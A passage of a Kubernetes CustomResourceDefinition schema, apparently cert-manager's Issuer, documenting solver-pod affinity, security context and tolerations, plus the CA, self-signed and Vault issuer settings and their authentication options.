                                                            The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                            Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                            This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        mismatchLabelKeys:
                                                          description: |-
                                                            MismatchLabelKeys is a set of pod label keys to select which pods will
                                                            be taken into consideration. The keys are used to lookup values from the
                                                            incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                            to select the group of existing pods which pods will be taken into consideration
                                                            for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                            pod labels will be ignored. The default value is empty.
                                                            The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                            Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                            This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        namespaceSelector:
                                                          description: |-
                                                            A label query over the set of namespaces that the term applies to.
                                                            The term is applied to the union of the namespaces selected by this field
                                                            and the ones listed in the namespaces field.
                                                            null selector and null or empty namespaces list means "this pod's namespace".
                                                            An empty selector ({}) matches all namespaces.
                                                          properties:
                                                            matchExpressions:
                                                              description: matchExpressions
                                                                is a list of label
                                                                selector requirements.
                                                                The requirements are
                                                                ANDed.
                                                              items:
                                                                description: |-
                                                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                                                  relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: key
                                                                      is the label
                                                                      key that the
                                                                      selector applies
                                                                      to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      operator represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      values is an array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. This array is replaced during a strategic
                                                                      merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchLabels:
                                                              additionalProperties:
                                                                type: string
                                                              description: |-
                                                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                              type: object
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        namespaces:
                                                          description: |-
                                                            namespaces specifies a static list of namespace names that the term applies to.
                                                            The term is applied to the union of the namespaces listed in this field
                                                            and the ones selected by namespaceSelector.
                                                            null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        topologyKey:
                                                          description: |-
                                                            This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                            the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                            whose value of the label with key topologyKey matches that of any node on which any of the
                                                            selected pods is running.
                                                            Empty topologyKey is not allowed.
                                                          type: string
                                                      required:
                                                      - topologyKey
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                              podAntiAffinity:
                                                description: Describes pod anti-affinity
                                                  scheduling rules (e.g. avoid putting
                                                  this pod in the same node, zone,
                                                  etc. as some other pod(s)).
                                                properties:
                                                  preferredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      The scheduler will prefer to schedule pods to nodes that satisfy
                                                      the anti-affinity expressions specified by this field, but it may choose
                                                      a node that violates one or more of the expressions. The node that is
                                                      most preferred is the one with the greatest sum of weights, i.e.
                                                      for each node that meets all of the scheduling requirements (resource
                                                      request, requiredDuringScheduling anti-affinity expressions, etc.),
                                                      compute a sum by iterating through the elements of this field and adding
                                                      "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                                      node(s) with the highest sum are the most preferred.
                                                    items:
                                                      description: The weights of
                                                        all of the matched WeightedPodAffinityTerm
                                                        fields are added per-node
                                                        to find the most preferred
                                                        node(s)
                                                      properties:
                                                        podAffinityTerm:
                                                          description: Required. A
                                                            pod affinity term, associated
                                                            with the corresponding
                                                            weight.
                                                          properties:
                                                            labelSelector:
                                                              description: |-
                                                                A label query over a set of resources, in this case pods.
                                                                If it's null, this PodAffinityTerm matches with no Pods.
                                                              properties:
                                                                matchExpressions:
                                                                  description: matchExpressions
                                                                    is a list of label
                                                                    selector requirements.
                                                                    The requirements
                                                                    are ANDed.
                                                                  items:
                                                                    description: |-
                                                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                                                      relates the key and values.
                                                                    properties:
                                                                      key:
                                                                        description: key
                                                                          is the label
                                                                          key that
                                                                          the selector
                                                                          applies
                                                                          to.
                                                                        type: string
                                                                      operator:
                                                                        description: |-
                                                                          operator represents a key's relationship to a set of values.
                                                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                        type: string
                                                                      values:
                                                                        description: |-
                                                                          values is an array of string values. If the operator is In or NotIn,
                                                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                          the values array must be empty. This array is replaced during a strategic
                                                                          merge patch.
                                                                        items:
                                                                          type: string
                                                                        type: array
                                                                        x-kubernetes-list-type: atomic
                                                                    required:
                                                                    - key
                                                                    - operator
                                                                    type: object
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                                matchLabels:
                                                                  additionalProperties:
                                                                    type: string
                                                                  description: |-
                                                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                                  type: object
                                                              type: object
                                                              x-kubernetes-map-type: atomic
                                                            matchLabelKeys:
                                                              description: |-
                                                                MatchLabelKeys is a set of pod label keys to select which pods will
                                                                be taken into consideration. The keys are used to lookup values from the
                                                                incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                                to select the group of existing pods which pods will be taken into consideration
                                                                for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                                pod labels will be ignored. The default value is empty.
                                                                The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                                Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                                This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            mismatchLabelKeys:
                                                              description: |-
                                                                MismatchLabelKeys is a set of pod label keys to select which pods will
                                                                be taken into consideration. The keys are used to lookup values from the
                                                                incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                                to select the group of existing pods which pods will be taken into consideration
                                                                for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                                pod labels will be ignored. The default value is empty.
                                                                The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                                Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                                This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            namespaceSelector:
                                                              description: |-
                                                                A label query over the set of namespaces that the term applies to.
                                                                The term is applied to the union of the namespaces selected by this field
                                                                and the ones listed in the namespaces field.
                                                                null selector and null or empty namespaces list means "this pod's namespace".
                                                                An empty selector ({}) matches all namespaces.
                                                              properties:
                                                                matchExpressions:
                                                                  description: matchExpressions
                                                                    is a list of label
                                                                    selector requirements.
                                                                    The requirements
                                                                    are ANDed.
                                                                  items:
                                                                    description: |-
                                                                      A label selector requirement is a selector that contains values, a key, and an operator that
                                                                      relates the key and values.
                                                                    properties:
                                                                      key:
                                                                        description: key
                                                                          is the label
                                                                          key that
                                                                          the selector
                                                                          applies
                                                                          to.
                                                                        type: string
                                                                      operator:
                                                                        description: |-
                                                                          operator represents a key's relationship to a set of values.
                                                                          Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                        type: string
                                                                      values:
                                                                        description: |-
                                                                          values is an array of string values. If the operator is In or NotIn,
                                                                          the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                          the values array must be empty. This array is replaced during a strategic
                                                                          merge patch.
                                                                        items:
                                                                          type: string
                                                                        type: array
                                                                        x-kubernetes-list-type: atomic
                                                                    required:
                                                                    - key
                                                                    - operator
                                                                    type: object
                                                                  type: array
                                                                  x-kubernetes-list-type: atomic
                                                                matchLabels:
                                                                  additionalProperties:
                                                                    type: string
                                                                  description: |-
                                                                    matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                    map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                    operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                                  type: object
                                                              type: object
                                                              x-kubernetes-map-type: atomic
                                                            namespaces:
                                                              description: |-
                                                                namespaces specifies a static list of namespace names that the term applies to.
                                                                The term is applied to the union of the namespaces listed in this field
                                                                and the ones selected by namespaceSelector.
                                                                null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            topologyKey:
                                                              description: |-
                                                                This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                                the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                                whose value of the label with key topologyKey matches that of any node on which any of the
                                                                selected pods is running.
                                                                Empty topologyKey is not allowed.
                                                              type: string
                                                          required:
                                                          - topologyKey
                                                          type: object
                                                        weight:
                                                          description: |-
                                                            weight associated with matching the corresponding podAffinityTerm,
                                                            in the range 1-100.
                                                          format: int32
                                                          type: integer
                                                      required:
                                                      - podAffinityTerm
                                                      - weight
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  requiredDuringSchedulingIgnoredDuringExecution:
                                                    description: |-
                                                      If the anti-affinity requirements specified by this field are not met at
                                                      scheduling time, the pod will not be scheduled onto the node.
                                                      If the anti-affinity requirements specified by this field cease to be met
                                                      at some point during pod execution (e.g. due to a pod label update), the
                                                      system may or may not try to eventually evict the pod from its node.
                                                      When there are multiple elements, the lists of nodes corresponding to each
                                                      podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                                    items:
                                                      description: |-
                                                        Defines a set of pods (namely those matching the labelSelector
                                                        relative to the given namespace(s)) that this pod should be
                                                        co-located (affinity) or not co-located (anti-affinity) with,
                                                        where co-located is defined as running on a node whose value of
                                                        the label with key <topologyKey> matches that of any node on which
                                                        a pod of the set of pods is running
                                                      properties:
                                                        labelSelector:
                                                          description: |-
                                                            A label query over a set of resources, in this case pods.
                                                            If it's null, this PodAffinityTerm matches with no Pods.
                                                          properties:
                                                            matchExpressions:
                                                              description: matchExpressions
                                                                is a list of label
                                                                selector requirements.
                                                                The requirements are
                                                                ANDed.
                                                              items:
                                                                description: |-
                                                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                                                  relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: key
                                                                      is the label
                                                                      key that the
                                                                      selector applies
                                                                      to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      operator represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      values is an array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. This array is replaced during a strategic
                                                                      merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchLabels:
                                                              additionalProperties:
                                                                type: string
                                                              description: |-
                                                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                              type: object
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        matchLabelKeys:
                                                          description: |-
                                                            MatchLabelKeys is a set of pod label keys to select which pods will
                                                            be taken into consideration. The keys are used to lookup values from the
                                                            incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                            to select the group of existing pods which pods will be taken into consideration
                                                            for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                            pod labels will be ignored. The default value is empty.
                                                            The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                            Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                            This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        mismatchLabelKeys:
                                                          description: |-
                                                            MismatchLabelKeys is a set of pod label keys to select which pods will
                                                            be taken into consideration. The keys are used to lookup values from the
                                                            incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                            to select the group of existing pods which pods will be taken into consideration
                                                            for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                            pod labels will be ignored. The default value is empty.
                                                            The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                            Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                            This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        namespaceSelector:
                                                          description: |-
                                                            A label query over the set of namespaces that the term applies to.
                                                            The term is applied to the union of the namespaces selected by this field
                                                            and the ones listed in the namespaces field.
                                                            null selector and null or empty namespaces list means "this pod's namespace".
                                                            An empty selector ({}) matches all namespaces.
                                                          properties:
                                                            matchExpressions:
                                                              description: matchExpressions
                                                                is a list of label
                                                                selector requirements.
                                                                The requirements are
                                                                ANDed.
                                                              items:
                                                                description: |-
                                                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                                                  relates the key and values.
                                                                properties:
                                                                  key:
                                                                    description: key
                                                                      is the label
                                                                      key that the
                                                                      selector applies
                                                                      to.
                                                                    type: string
                                                                  operator:
                                                                    description: |-
                                                                      operator represents a key's relationship to a set of values.
                                                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                                                    type: string
                                                                  values:
                                                                    description: |-
                                                                      values is an array of string values. If the operator is In or NotIn,
                                                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                      the values array must be empty. This array is replaced during a strategic
                                                                      merge patch.
                                                                    items:
                                                                      type: string
                                                                    type: array
                                                                    x-kubernetes-list-type: atomic
                                                                required:
                                                                - key
                                                                - operator
                                                                type: object
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                            matchLabels:
                                                              additionalProperties:
                                                                type: string
                                                              description: |-
                                                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                              type: object
                                                          type: object
                                                          x-kubernetes-map-type: atomic
                                                        namespaces:
                                                          description: |-
                                                            namespaces specifies a static list of namespace names that the term applies to.
                                                            The term is applied to the union of the namespaces listed in this field
                                                            and the ones selected by namespaceSelector.
                                                            null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                        topologyKey:
                                                          description: |-
                                                            This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                            the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                            whose value of the label with key topologyKey matches that of any node on which any of the
                                                            selected pods is running.
                                                            Empty topologyKey is not allowed.
                                                          type: string
                                                      required:
                                                      - topologyKey
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                            type: object
                                          imagePullSecrets:
                                            description: If specified, the pod's imagePullSecrets
                                            items:
                                              description: |-
                                                LocalObjectReference contains enough information to let you locate the
                                                referenced object inside the same namespace.
                                              properties:
                                                name:
                                                  default: ""
                                                  description: |-
                                                    Name of the referent.
                                                    This field is effectively required, but due to backwards compatibility is
                                                    allowed to be empty. Instances of this type with an empty value here are
                                                    almost certainly wrong.
                                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                                  type: string
                                              type: object
                                              x-kubernetes-map-type: atomic
                                            type: array
                                          nodeSelector:
                                            additionalProperties:
                                              type: string
                                            description: |-
                                              NodeSelector is a selector which must be true for the pod to fit on a node.
                                              Selector which must match a node's labels for the pod to be scheduled on that node.
                                              More info: https://kubernetes.io/docs/concepts/configuration/assign-pod-node/
                                            type: object
                                          priorityClassName:
                                            description: If specified, the pod's priorityClassName.
                                            type: string
                                          securityContext:
                                            description: If specified, the pod's security
                                              context
                                            properties:
                                              fsGroup:
                                                description: |-
                                                  A special supplemental group that applies to all containers in a pod.
                                                  Some volume types allow the Kubelet to change the ownership of that volume
                                                  to be owned by the pod:

                                                  1. The owning GID will be the FSGroup
                                                  2. The setgid bit is set (new files created in the volume will be owned by FSGroup)
                                                  3. The permission bits are OR'd with rw-rw----

                                                  If unset, the Kubelet will not modify the ownership and permissions of any volume.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                format: int64
                                                type: integer
                                              fsGroupChangePolicy:
                                                description: |-
                                                  fsGroupChangePolicy defines behavior of changing ownership and permission of the volume
                                                  before being exposed inside Pod. This field will only apply to
                                                  volume types which support fsGroup based ownership(and permissions).
                                                  It will have no effect on ephemeral volume types such as: secret, configmaps
                                                  and emptydir.
                                                  Valid values are "OnRootMismatch" and "Always". If not specified, "Always" is used.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                type: string
                                              runAsGroup:
                                                description: |-
                                                  The GID to run the entrypoint of the container process.
                                                  Uses runtime default if unset.
                                                  May also be set in SecurityContext.  If set in both SecurityContext and
                                                  PodSecurityContext, the value specified in SecurityContext takes precedence
                                                  for that container.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                format: int64
                                                type: integer
                                              runAsNonRoot:
                                                description: |-
                                                  Indicates that the container must run as a non-root user.
                                                  If true, the Kubelet will validate the image at runtime to ensure that it
                                                  does not run as UID 0 (root) and fail to start the container if it does.
                                                  If unset or false, no such validation will be performed.
                                                  May also be set in SecurityContext.  If set in both SecurityContext and
                                                  PodSecurityContext, the value specified in SecurityContext takes precedence.
                                                type: boolean
                                              runAsUser:
                                                description: |-
                                                  The UID to run the entrypoint of the container process.
                                                  Defaults to user specified in image metadata if unspecified.
                                                  May also be set in SecurityContext.  If set in both SecurityContext and
                                                  PodSecurityContext, the value specified in SecurityContext takes precedence
                                                  for that container.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                format: int64
                                                type: integer
                                              seLinuxOptions:
                                                description: |-
                                                  The SELinux context to be applied to all containers.
                                                  If unspecified, the container runtime will allocate a random SELinux context for each
                                                  container.  May also be set in SecurityContext.  If set in
                                                  both SecurityContext and PodSecurityContext, the value specified in SecurityContext
                                                  takes precedence for that container.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                properties:
                                                  level:
                                                    description: Level is SELinux
                                                      level label that applies to
                                                      the container.
                                                    type: string
                                                  role:
                                                    description: Role is a SELinux
                                                      role label that applies to the
                                                      container.
                                                    type: string
                                                  type:
                                                    description: Type is a SELinux
                                                      type label that applies to the
                                                      container.
                                                    type: string
                                                  user:
                                                    description: User is a SELinux
                                                      user label that applies to the
                                                      container.
                                                    type: string
                                                type: object
                                              seccompProfile:
                                                description: |-
                                                  The seccomp options to use by the containers in this pod.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                properties:
                                                  localhostProfile:
                                                    description: |-
                                                      localhostProfile indicates a profile defined in a file on the node should be used.
                                                      The profile must be preconfigured on the node to work.
                                                      Must be a descending path, relative to the kubelet's configured seccomp profile location.
                                                      Must be set if type is "Localhost". Must NOT be set for any other type.
                                                    type: string
                                                  type:
                                                    description: |-
                                                      type indicates which kind of seccomp profile will be applied.
                                                      Valid options are:

                                                      Localhost - a profile defined in a file on the node should be used.
                                                      RuntimeDefault - the container runtime default profile should be used.
                                                      Unconfined - no profile should be applied.
                                                    type: string
                                                required:
                                                - type
                                                type: object
                                              supplementalGroups:
                                                description: |-
                                                  A list of groups applied to the first process run in each container, in addition
                                                  to the container's primary GID, the fsGroup (if specified), and group memberships
                                                  defined in the container image for the uid of the container process. If unspecified,
                                                  no additional groups are added to any container. Note that group memberships
                                                  defined in the container image for the uid of the container process are still effective,
                                                  even if they are not included in this list.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                items:
                                                  format: int64
                                                  type: integer
                                                type: array
                                              sysctls:
                                                description: |-
                                                  Sysctls hold a list of namespaced sysctls used for the pod. Pods with unsupported
                                                  sysctls (by the container runtime) might fail to launch.
                                                  Note that this field cannot be set when spec.os.name is windows.
                                                items:
                                                  description: Sysctl defines a kernel
                                                    parameter to be set
                                                  properties:
                                                    name:
                                                      description: Name of a property
                                                        to set
                                                      type: string
                                                    value:
                                                      description: Value of a property
                                                        to set
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                            type: object
                                          serviceAccountName:
                                            description: If specified, the pod's service
                                              account
                                            type: string
                                          tolerations:
                                            description: If specified, the pod's tolerations.
                                            items:
                                              description: |-
                                                The pod this Toleration is attached to tolerates any taint that matches
                                                the triple <key,value,effect> using the matching operator <operator>.
                                              properties:
                                                effect:
                                                  description: |-
                                                    Effect indicates the taint effect to match. Empty means match all taint effects.
                                                    When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                                                  type: string
                                                key:
                                                  description: |-
                                                    Key is the taint key that the toleration applies to. Empty means match all taint keys.
                                                    If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                                                  type: string
                                                operator:
                                                  description: |-
                                                    Operator represents a key's relationship to the value.
                                                    Valid operators are Exists and Equal. Defaults to Equal.
                                                    Exists is equivalent to wildcard for value, so that a pod can
                                                    tolerate all taints of a particular category.
                                                  type: string
                                                tolerationSeconds:
                                                  description: |-
                                                    TolerationSeconds represents the period of time the toleration (which must be
                                                    of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                                                    it is not set, which means tolerate the taint forever (do not evict). Zero and
                                                    negative values will be treated as 0 (evict immediately) by the system.
                                                  format: int64
                                                  type: integer
                                                value:
                                                  description: |-
                                                    Value is the taint value the toleration matches to.
                                                    If the operator is Exists, the value should be empty, otherwise just a regular string.
                                                  type: string
                                              type: object
                                            type: array
                                        type: object
                                    type: object
                                  serviceType:
                                    description: |-
                                      Optional service type for Kubernetes solver service. Supported values
                                      are NodePort or ClusterIP. If unset, defaults to NodePort.
                                    type: string
                                type: object
                            type: object
                          selector:
                            description: |-
                              Selector selects a set of DNSNames on the Certificate resource that
                              should be solved using this challenge solver.
                              If not specified, the solver will be treated as the 'default' solver
                              with the lowest priority, i.e. if any other solver has a more specific
                              match, it will be used instead.
                            properties:
                              dnsNames:
                                description: |-
                                  List of DNSNames that this solver will be used to solve.
                                  If specified and a match is found, a dnsNames selector will take
                                  precedence over a dnsZones selector.
                                  If multiple solvers match with the same dnsNames value, the solver
                                  with the most matching labels in matchLabels will be selected.
                                  If neither has more matches, the solver defined earlier in the list
                                  will be selected.
                                items:
                                  type: string
                                type: array
                              dnsZones:
                                description: |-
                                  List of DNSZones that this solver will be used to solve.
                                  The most specific DNS zone match specified here will take precedence
                                  over other DNS zone matches, so a solver specifying sys.example.com
                                  will be selected over one specifying example.com for the domain
                                  www.sys.example.com.
                                  If multiple solvers match with the same dnsZones value, the solver
                                  with the most matching labels in matchLabels will be selected.
                                  If neither has more matches, the solver defined earlier in the list
                                  will be selected.
                                items:
                                  type: string
                                type: array
                              matchLabels:
                                additionalProperties:
                                  type: string
                                description: |-
                                  A label selector that is used to refine the set of certificate's that
                                  this challenge solver will apply to.
                                type: object
                            type: object
                        type: object
                      type: array
                  required:
                  - privateKeySecretRef
                  - server
                  type: object
                ca:
                  description: |-
                    CA configures this issuer to sign certificates using a signing CA keypair
                    stored in a Secret resource.
                    This is used to build internal PKIs that are managed by cert-manager.
                  properties:
                    crlDistributionPoints:
                      description: |-
                        The CRL distribution points is an X.509 v3 certificate extension which identifies
                        the location of the CRL from which the revocation of this certificate can be checked.
                        If not set, certificates will be issued without distribution points set.
                      items:
                        type: string
                      type: array
                    issuingCertificateURLs:
                      description: |-
                        IssuingCertificateURLs is a list of URLs which this issuer should embed into certificates
                        it creates. See https://www.rfc-editor.org/rfc/rfc5280#section-4.2.2.1 for more details.
                        As an example, such a URL might be "http://ca.domain.com/ca.crt".
                      items:
                        type: string
                      type: array
                    ocspServers:
                      description: |-
                        The OCSP server list is an X.509 v3 extension that defines a list of
                        URLs of OCSP responders. The OCSP responders can be queried for the
                        revocation status of an issued certificate. If not set, the
                        certificate will be issued with no OCSP servers set. For example, an
                        OCSP server URL could be "http://ocsp.int-x3.letsencrypt.org".
                      items:
                        type: string
                      type: array
                    secretName:
                      description: |-
                        SecretName is the name of the secret used to sign Certificates issued
                        by this Issuer.
                      type: string
                  required:
                  - secretName
                  type: object
                selfSigned:
                  description: |-
                    SelfSigned configures this issuer to 'self sign' certificates using the
                    private key used to create the CertificateRequest object.
                  properties:
                    crlDistributionPoints:
                      description: |-
                        The CRL distribution points is an X.509 v3 certificate extension which identifies
                        the location of the CRL from which the revocation of this certificate can be checked.
                        If not set certificate will be issued without CDP. Values are strings.
                      items:
                        type: string
                      type: array
                  type: object
                vault:
                  description: |-
                    Vault configures this issuer to sign certificates using a HashiCorp Vault
                    PKI backend.
                  properties:
                    auth:
                      description: Auth configures how cert-manager authenticates
                        with the Vault server.
                      properties:
                        appRole:
                          description: |-
                            AppRole authenticates with Vault using the App Role auth mechanism,
                            with the role and secret stored in a Kubernetes Secret resource.
                          properties:
                            path:
                              description: |-
                                Path where the App Role authentication backend is mounted in Vault, e.g:
                                "approle"
                              type: string
                            roleId:
                              description: |-
                                RoleID configured in the App Role authentication backend when setting
                                up the authentication backend in Vault.
                              type: string
                            secretRef:
                              description: |-
                                Reference to a key in a Secret that contains the App Role secret used
                                to authenticate with Vault.
                                The `key` field must be specified and denotes which entry within the Secret
                                resource is used as the app role secret.
                              properties:
                                key:
                                  description: |-
                                    The key of the entry in the Secret resource's `data` field to be used.
                                    Some instances of this field may be defaulted, in others it may be
                                    required.
                                  type: string
                                name:
                                  description: |-
                                    Name of the resource being referred to.
                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                  type: string
                              required:
                              - name
                              type: object
                          required:
                          - path
                          - roleId
                          - secretRef
                          type: object
                        clientCertificate:
                          description: |-
                            ClientCertificate authenticates with Vault by presenting a client
                            certificate during the request's TLS handshake.
                            Works only when using HTTPS protocol.
                          properties:
                            mountPath:
                              description: |-
                                The Vault mountPath here is the mount path to use when authenticating with
                                Vault. For example, setting a value to `/v1/auth/foo`, will use the path
                                `/v1/auth/foo/login` to authenticate with Vault. If unspecified, the
                                default value "/v1/auth/cert" will be used.
                              type: string
                            name:
                              description: |-
                                Name of the certificate role to authenticate against.
                                If not set, matching any certificate role, if available.
                              type: string
                            secretName:
                              description: |-
                                Reference to Kubernetes Secret of type "kubernetes.io/tls" (hence containing
                                tls.crt and tls.key) used to authenticate to Vault using TLS client
                                authentication.
                              type: string
                          type: object
                        kubernetes:
                          description: |-
                            Kubernetes authenticates with Vault by passing the ServiceAccount
                            token stored in the named Secret resource to the Vault server.
                          properties:
                            mountPath:
                              description: |-
                                The Vault mountPath here is the mount path to use when authenticating with
                                Vault. For example, setting a value to `/v1/auth/foo`, will use the path
                                `/v1/auth/foo/login` to authenticate with Vault. If unspecified, the
                                default value "/v1/auth/kubernetes" will be used.
                              type: string
                            role:
                              description: |-
                                A required field containing the Vault Role to assume. A Role binds a
                                Kubernetes ServiceAccount with a set of Vault policies.
                              type: string
                            secretRef:
                              description: |-
                                The required Secret field containing a Kubernetes ServiceAccount JWT used
                                for authenticating with Vault. Use of 'ambient credentials' is not
                                supported.
                              properties:
                                key:
                                  description: |-
                                    The key of the entry in the Secret resource's `data` field to be used.
                                    Some instances of this field may be defaulted, in others it may be
                                    required.
                                  type: string
                                name:
                                  description: |-
                                    Name of the resource being referred to.
                                    More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                                  type: string
                              required:
                              - name
                              type: object
                            serviceAccountRef:
                              description: |-
                                A reference to a service account that will be used to request a bound
                                token (also known as "projected token"). Compared to using "secretRef",
                                using this field means that you don't rely on statically bound tokens. To
                                use this field, you must configure an RBAC rule to let cert-manager
                                request a token.
                              properties:
                                audiences:
                                  description: |-
                                    TokenAudiences is an optional list of extra audiences to include in the token passed to Vault. The default token
                                    consisting of the issuer's namespace and name is always included.
                                  items:
                                    type: string
                                  type: array
                                name:
                                  description: Name of the ServiceAccount used to
                                    request a token.
                                  type: string
                              required:
                              - name
                              type: object
                          required:
                          - role
                          type: object
                        tokenSecretRef:
                          description: TokenSecretRef authenticates with Vault by
                            presenting a token.
                          properties:
                            key:
                              description: |-
                                The key of the entry in the Secret resource's `data` field to be used.
                                Some instances of this field may be defaulted, in others it may be
                                required.
                              type: string
                            name:
                              description: |-
                                Name of the resource being referred to.
                                More info: https://kubernetes.io/docs/concepts/overview/working-with-objects/names/#names
                              type: string
                          required:
                          - name
                          type: object
                      type: object
                    caBundle:
                      description: |-
                        Base64-encoded bundle of PEM CAs which will be used to validate the certificate
                        chain presented by Vault. Only used if using HTTPS to connect to Vault and
                        ignored for HTTP connections.
